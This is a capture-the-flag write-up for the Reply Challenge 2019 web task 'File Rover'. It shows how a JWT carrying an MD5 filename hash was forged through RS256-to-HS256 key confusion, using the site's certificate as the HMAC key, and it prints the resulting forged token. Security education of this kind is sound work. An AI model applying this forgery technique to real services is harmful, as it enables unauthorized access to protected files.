File Rover - Web - Reply Challenge 2019

In this challenge we had a link to a site. The first thing that was peculiar about it was the invalid certificate. After telling the browser to ignore it, we were presented with a some download links:

Reading the source code of the page we can see an old commented link to a file called flag.txt:

<tr>
    <td>flag.txt</td>
    <td>4 Bytes</td>
    <td class="download-col">
        <button type="button" class="btn btn-light" disabled="disabled">EXPIRED</button>
    </td>
</tr>

The link for future.jpg points to

download.php?file=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJmaWxlbmFtZSI6IjdiNDIxZ
GYxMWE1M2UzM2Q5MjllZjRjMDI1Zjc5ZjgzIn0.dNHioi9RiEpyUtcOD6G5CBXU0EUi2HTl05eOvkFec
myoFyn5CWq5ExbwYLX8QE85qBaskOT-mtq3_XWwTxmGIKhPg8eOVuqqhU7nCg2eEdKwp-mjaPBnmDfBi
nvcfXEhItLi8T1hmMVgxaWSxQ1ZZKu4t-SFbuHOgesE6s9oBBiFMX92HSJbE3PnpAp6y6CYsI4hXBdzf
AXERfmV0lV8-SRtKgKFwVTI-zmBlEGSReszw-NoDgGfFGF9e1tKjVb8sE3o5IYv5M5AmDjs8qWe5JO39
IQeTJqn4r6Db6zPWjHKlheqFLrfytWQF9MvjDRU5CIu3tIRWYnylnVUA3Slrw

I recognized the JWT token structure and used jwt.io to read it. The header is:

{
  "typ": "JWT",
  "alg": "RS256"
}

so a rsa 256 key was used to sign the token, and the payload is:

{
  "filename": "7b421df11a53e33d929ef4c025f79f83"
}

The immediate thought was that the filename parameter could be the hash of the filename, and it was indeed:

$ echo -n "future.jpg" | md5sum
7b421df11a53e33d929ef4c025f79f83  -

We could try to use the hash of flag.txt to create our own token but we need the key used to create it. A quick bruteforce try with some tools and wordlists did not work, and after a bit of research we found an article explaining a vulnerability that allowed to make the server use the public key to verify the signature instead of the private key. Remembering that the web site certificate was invalid, we thought about trying to use it to create to custom token to download flag.txt. Here is the final token:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmaWxlbmFtZSI6IjE1OWRmNDg4NzU2MjdlMmY3ZjY2ZGFlNTg0YzVlM2E1In0.gkPHJYEXF0WEpvwzI4FxDkFGoG6dpBvVMhq6ibsl28w

Flag

{FLG:n0_b4ckup_n0_m3rcy}
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